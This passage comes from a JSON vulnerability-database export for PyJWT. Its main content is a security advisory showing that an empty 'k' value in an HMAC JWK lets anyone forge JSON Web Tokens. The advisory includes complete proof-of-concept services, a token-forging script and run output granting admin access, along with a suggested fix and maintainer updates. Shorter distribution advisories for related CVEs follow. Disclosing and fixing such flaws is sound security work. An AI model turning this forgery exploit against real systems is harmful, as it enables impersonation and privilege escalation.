versions\n\n`PyJWT` (PyPI package `pyjwt`) `\u003c= 2.13.0`, current `master` at commit\n`7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is\nalready guarded in 2.13.0; the JWK/JWKS path is not.\n\n### Privilege required\n\nUnauthenticated. Any party who can reach a JWT-verifying endpoint of an\napplication that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct\nkey has an empty `k` can forge tokens with arbitrary claims.\n\nPreconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct\nentry carries an empty `k`. This occurs when the signing secret is sourced from\nan unset environment variable / unset config row / key-finder fallback that\nbase64url-encodes `b\"\"` into the published JWKS, or when the application trusts a\nJWKS containing such an entry. The equivalent unset-secret case for the\nstring-secret API (`jwt.decode(token, key=\"\")`) is already rejected in 2.13.0;\nthe JWK route is the remaining reachable surface for the same misconfiguration.\n\n### Vulnerable code\n\n`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380):\n\n```python\n@staticmethod\ndef from_jwk(jwk: str | JWKDict) -\u003e bytes:\n    try:\n        if isinstance(jwk, str):\n            obj: JWKDict = json.loads(jwk)\n        elif isinstance(jwk, dict):\n            obj = jwk\n        else:\n            raise ValueError\n    except ValueError:\n        raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n    if obj.get(\"kty\") != \"oct\":\n        raise InvalidKeyError(\"Not an HMAC key\")\n\n    return base64url_decode(obj[\"k\"])   # \u003c-- empty k -\u003e b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -\u003e bytes:\n    key_bytes = force_bytes(key)\n\n    if len(key_bytes) == 0:\n        raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n        if isinstance(key, PyJWK):\n            if alg != key.algorithm_name:\n                raise InvalidAlgorithmError(\n                    f\"Token algorithm {alg!r} does not match the key's \"\n                    f\"algorithm {key.algorithm_name!r}\"\n                )\n            alg_obj = key.Algorithm\n            prepared_key = key.key            # from_jwk output (b\"\"), prepare_key not run\n        else:\n            try:\n                alg_obj = self.get_algorithm_by_name(alg)\n            except NotImplementedError as e:\n                raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n            prepared_key = alg_obj.prepare_key(key)\n\n        key_length_msg = alg_obj.check_key_length(prepared_key)\n        if key_length_msg:\n            if effective_options.get(\"enforce_minimum_key_length\", False):\n                raise InvalidKeyError(key_length_msg)\n            else:\n                warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4)  # default: warn only\n\n        if not alg_obj.verify(signing_input, prepared_key, signature):  # verify with b\"\" succeeds\n            raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -\u003e `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -\u003e `jwt.decode` with the resolved\n`PyJWK` -\u003e `_verify_signature` -\u003e `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -\u003e `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\")   # UNSET at runtime -\u003e \"\"\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n    return jsonify({\"keys\": [{\n        \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n        \"kid\": \"auth-signing-2026\",\n        \"k\": b64u(SIGNING_SECRET.encode()),   # empty secret -\u003e k == \"\"\n    }]})\n\nif __name__ == \"__main__\":\n    app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n    auth = request.headers.get(\"Authorization\", \"\")\n    if not auth.startswith(\"Bearer \"):\n        return None, \"missing bearer token\"\n    token = auth.split(\" \", 1)[1]\n    try:\n        signing_key = jwks_client.get_signing_key_from_jwt(token)  # resolves by kid\n        claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n    except Exception as e:\n        return None, \"invalid token: %s\" % type(e).__name__\n    return claims, None\n\n@app.route(\"/api/admin/users\")\ndef admin_users():\n    claims, err = authenticate()\n    if err:\n        return jsonify({\"error\": err}), 401\n    if claims.get(\"role\") != \"admin\":\n        return jsonify({\"error\": \"forbidden\"}), 403\n    return jsonify({\"ok\": True, \"action\": \"list_all_users\",\n                    \"as_user\": claims.get(\"sub\"), \"role\": claims.get(\"role\")})\n\nif __name__ == \"__main__\":\n    app.run(port=9102)\n```\n\n`forge.py` (attacker; no secret knowledge):\n\n```python\nimport hmac, hashlib, base64, json, sys\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nheader={\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"auth-signing-2026\"}\npayload={\"sub\":\"attacker@evil.example\",\"role\":\"admin\"}\nsi=b64u(json.dumps(header,separators=(',',':')).encode())+\".\"+b64u(json.dumps(payload,separators=(',',':')).encode())\nkey = sys.argv[1].encode() if len(sys.argv)\u003e1 else b\"\"   # empty key\nsig=hmac.new(key, si.encode(), hashlib.sha256).digest()\nprint(si+\".\"+b64u(sig))\n```\n\nRun:\n\n```bash\npython -m venv v \u0026\u0026 ./v/bin/pip install \"PyJWT==2.13.0\" flask\n( SIGNING_SECRET= ./v/bin/python idp.py \u0026 ) ; ./v/bin/python api.py \u0026\nFORGED=$(./v/bin/python forge.py \"\")\ncurl -s -H \"Authorization: Bearer $FORGED\" http://127.0.0.1:9102/api/admin/users\n```\n\nVerbatim run (attack, both negative controls, sanity, and patched-build re-run):\n\n```\n### PyJWT version\n2.13.0\n\n### JWKS published by the auth service (note the empty \"k\"):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n\n### Baseline: unauthenticated request to admin endpoint\nHTTP 401\n\n### ATTACK: attacker forges HS256 admin token signed with the EMPTY key\nforged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ\nresponse:\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n  \u003c-- HTTP 200\n\n### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -\u003e reject\n{\"error\":\"invalid token: InvalidSignatureError\"}\n  \u003c-- HTTP 401\n\n### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail\nJWKS now has non-empty k:\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: InvalidSignatureError\"}\n  \u003c-- HTTP 401\n\n### Sanity: a legitimately-signed token with the real secret is accepted\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n  \u003c-- HTTP 200\n\n### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -\u003e now rejected\nJWKS (empty k, vulnerable config):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: PyJWKSetError\"}\n  \u003c-- HTTP 401\n```\n\nThe attack returns HTTP 200 with `role:admin` from an unauthenticated forged\ntoken. Both negative controls (wrong non-empty key; real non-empty secret at the\nauth service) return 401, isolating the defect to empty-key acceptance. The\npatched build (the `from_jwk` fix below) rejects the forgery.\n\n### Impact\n\n- Unauthenticated authentication bypass / token forgery: an attacker mints tokens\n  with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully,\n  yielding full impersonation and privilege escalation on any endpoint gated by\n  such tokens.\n- Reachable through the documented JWKS verification API\n  (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use.\n- Triggered by the common \"unset signing secret\" misconfiguration that the\n  string-secret path already rejects in 2.13.0, leaving the JWK path as an\n  asymmetric gap.\n\n### Suggested fix\n\nReject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that\n`prepare_key` already applies:\n\n```python\nif obj.get(\"kty\") != \"oct\":\n    raise InvalidKeyError(\"Not an HMAC key\")\n\nkey_bytes = base64url_decode(obj[\"k\"])\nif len(key_bytes) == 0:\n    raise InvalidKeyError(\"HMAC key must not be empty.\")\nreturn key_bytes\n```\n\nThis reuses the exact error message and length check the string/bytes path uses,\nso both HMAC key-loading routes enforce the same invariant. A regression test for\nthe empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`.\n\n### Fix PR\n\nhttps://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory\ntemp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`,\nDCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`,\n`test_api_jwk.py`, `test_api_jws.py` pass).\n\n### Credit\n\nReported by tonghuaroot.\n\n\u003e Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","status":"published","published":"2026-10-22T15:48:04Z","modified":"2026-10-22T16:00:09.127222029Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:46:53.700556Z"},{"id":"PYSEC-2026-175","description":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.","status":"published","published":"2026-05-28T16:16:29.15Z","modified":"2026-06-02T12:15:09.28227541Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.06457Z"},{"id":"UBUNTU-CVE-2026-48522","description":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.","status":"published","published":"2026-05-28T16:16:00Z","modified":"2026-09-28T11:30:26.240699252Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:33.391918Z"},{"id":"AZL-93036","title":"CVE-2026-48522 affecting package python-jwt for versions less than 2.13.0-1","description":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.","status":"published","published":"2026-05-28T16:16:29Z","modified":"2026-08-28T17:56:35.600299Z","updated_at":"2026-11-02T15:28:11.723718Z"},{"id":"CLSA-2026-1786521955","title":"TuxCare security update for pyjwt (3 CVEs)","description":"TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 2.3.0.post2+tuxcare.","status":"published","published":"2026-08-12T08:05:55Z","modified":"2026-10-27T13:43:12.282975551Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1792740713","title":"TuxCare security update for pyjwt (1 CVE)","description":"TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 2.10.1.post7+tuxcare.","status":"published","published":"2026-10-23T07:31:53Z","modified":"2026-10-23T13:45:34.445472828Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"openSUSE-SU-2026:11024-1","title":"python311-PyJWT-2.13.0-1.1 on GA media","description":"These are all security issues fixed in the python311-PyJWT-2.13.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-13T00:00:00Z","modified":"2026-06-14T14:00:06.198800158Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:21095-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues\n\n- CVE-2026-48522: `PyJWKClient` passes URI arguments directly to `urllib.request.urlopen()` and allows for SSRF and\n  token forgery (bsc#1266798).\n- CVE-2026-48523: verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called\n  with a PyJWK key (bsc#1266799).\n- CVE-2026-48524: unlimited processing of JWTs with unknown kid values by `PyJWKClient.get_signing_key()` leads to\n  unbounded JWKS endpoint requests and DoS (bsc#1266800).\n- CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in `b64=false` detached JWS allows for DoS\n  (bsc#1266801).\n- CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for\n  forged HS256 tokens (bsc#1266802).\n","status":"published","published":"2026-06-19T05:43:05Z","modified":"2026-06-30T18:24:40.576597716Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"ROOT-APP-PYPI-CVE-2026-48522","title":"CVE-2026-48522 in PyJWT - Patched by Root","description":"Root has patched CVE-2026-48522 in the PyJWT package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-10-28T09:09:40Z","modified":"2026-10-28T10:15:03.854507715Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"SUSE-SU-2026:22138-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues\n\n- CVE-2026-48522: `PyJWKClient` passes URI arguments directly to `urllib.request.urlopen()` and allows for SSRF and\n  token forgery (bsc#1266798).\n- CVE-2026-48523: verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called\n  with a PyJWK key (bsc#1266799).\n- CVE-2026-48524: unlimited processing of JWTs with unknown kid values by `PyJWKClient.get_signing_key()` leads to\n  unbounded JWKS endpoint requests and DoS (bsc#1266800).\n- CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in `b64=false` detached JWS allows for DoS\n  (bsc#1266801).\n- CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for\n  forged HS256 tokens (bsc#1266802).\n","status":"published","published":"2026-06-16T09:09:33Z","modified":"2026-06-18T18:24:17.888913553Z","updated_at":"2026-11-02T15:54:02.654057Z"},{"id":"SUSE-SU-2026:22170-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues\n\n- CVE-2026-48522: `PyJWKClient` passes URI arguments directly to `urllib.request.urlopen()` and allows for SSRF and\n  token forgery (bsc#1266798).\n- CVE-2026-48523: verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called\n  with a PyJWK key (bsc#1266799).\n- CVE-2026-48524: unlimited processing of JWTs with unknown kid values by `PyJWKClient.get_signing_key()` leads to\n  unbounded JWKS endpoint requests and DoS (bsc#1266800).\n- CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in `b64=false` detached JWS allows for DoS\n  (bsc#1266801).\n- CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for\n  forged HS256 tokens (bsc#1266802).\n","status":"published","published":"2026-06-19T05:44:26Z","modified":"2026-06-24T18:24:17.973821173Z","updated_at":"2026-11-02T15:54:02.654057Z"},{"id":"SUSE-SU-2026:22220-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues\n\n- CVE-2026-48522: `PyJWKClient` passes URI arguments directly to `urllib.request.urlopen()` and allows for SSRF and\n  token forgery (bsc#1266798).\n- CVE-2026-48523: verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called\n  with a PyJWK key (bsc#1266799).\n- CVE-2026-48524: unlimited processing of JWTs with unknown kid values by `PyJWKClient.get_signing_key()` leads to\n  unbounded JWKS endpoint requests and DoS (bsc#1266800).\n- CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in `b64=false` detached JWS allows for DoS\n  (bsc#1266801).\n- CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for\n  forged HS256 tokens (bsc#1266802).\n","status":"published","published":"2026-06-19T05:44:26Z","modified":"2026-06-24T18:24:19.894935573Z","updated_at":"2026-11-02T15:54:02.654057Z"},{"id":"SUSE-SU-2026:22238-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues\n\n- CVE-2026-48522: `PyJWKClient` passes URI arguments directly to `urllib.request.urlopen()` and allows for SSRF and\n  token forgery (bsc#1266798).\n- CVE-2026-48523: verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called\n  with a PyJWK key (bsc#1266799).\n- CVE-2026-48524: unlimited processing of JWTs with unknown kid values by `PyJWKClient.get_signing_key()` leads to\n  unbounded JWKS endpoint requests and DoS (bsc#1266800).\n- CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in `b64=false` detached JWS allows for DoS\n  (bsc#1266801).\n- CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for\n  forged HS256 tokens (bsc#1266802).\n","status":"published","published":"2026-06-16T08:55:32Z","modified":"2026-06-26T18:24:08.739071893Z","updated_at":"2026-11-02T15:54:02.654057Z"},{"id":"SUSE-SU-2026:2626-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues\n\n- CVE-2026-48522: `PyJWKClient` passes URI arguments directly to `urllib.request.urlopen()` and allows for SSRF and\n  token forgery (bsc#1266798).\n- CVE-2026-48523: verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called\n  with a PyJWK key (bsc#1266799).\n- CVE-2026-48524: unlimited processing of JWTs with unknown kid values by `PyJWKClient.get_signing_key()` leads to\n  unbounded JWKS endpoint requests and DoS (bsc#1266800).\n- CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in `b64=false` detached JWS allows for DoS\n  (bsc#1266801).\n- CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for\n  forged HS256 tokens (bsc#1266802).\n","status":"published","published":"2026-06-25T08:11:34Z","modified":"2026-06-26T08:15:09.085476812Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:2627-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues\n\n- CVE-2026-48522: `PyJWKClient` passes URI arguments directly to `urllib.request.urlopen()` and allows for SSRF and\n  token forgery (bsc#1266798).\n- CVE-2026-48523: verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called\n  with a PyJWK key (bsc#1266799).\n- CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in `b64=false` detached JWS allows for DoS\n  (bsc#1266801).\n- CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for\n  forged HS256 tokens (bsc#1266802).\n","status":"published","published":"2026-06-25T08:13:14Z","modified":"2026-06-26T08:15:07.639218361Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"USN-8823-1","title":"pyjwt vulnerabilities","description":"It was discovered that PyJWT incorrectly handled certain URIs when using\nPyJWKClient. A remote attacker could possibly use this issue to perform\nserver-side request forgery (SSRF) or expose sensitive local files.\nThis issue only affected Ubuntu 22.04 LTS, Ubuntu 24.04 LTS and Ubuntu\n26.04 LTS. (CVE-2026-48522)\n\nIt was discovered that PyJWT incorrectly verified cryptographic signatures\nwhen decoding tokens with PyJWK keys. A remote attacker could possibly\nuse this issue to bypass signature verification and forge valid JSON Web\nTokens. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-48523)\n\nIt was discovered that PyJWT incorrectly handled unknown key identifiers\nin PyJWKClient. A remote attacker could possibly use this issue to cause\nPyJWT to make excessive network requests, resulting in a denial of service.\nThis issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS.\n(CVE-2026-48524)\n\nIt was discovered that PyJWT incorrectly handled payload decoding during\ndetached JWS token verification. A remote attacker could possibly use\nthis issue to cause PyJWT to consume excessive resources, resulting in\na denial of service. This issue only affected Ubuntu 24.04 LTS and\nUbuntu 26.04 LTS. (CVE-2026-48525)\n\nIt was discovered that PyJWT incorrectly validated JSON Web Keys when\ndecoding tokens with both HMAC and asymmetric algorithms enabled. A remote\nattacker could possibly use this issue to forge valid tokens, resulting\nin an authentication bypass. (CVE-2026-48526)","status":"published","published":"2026-09-25T07:49:33Z","modified":"2026-09-28T11:42:45.323412495Z","updated_at":"2026-11-02T16:58:26.907654Z"}]}}
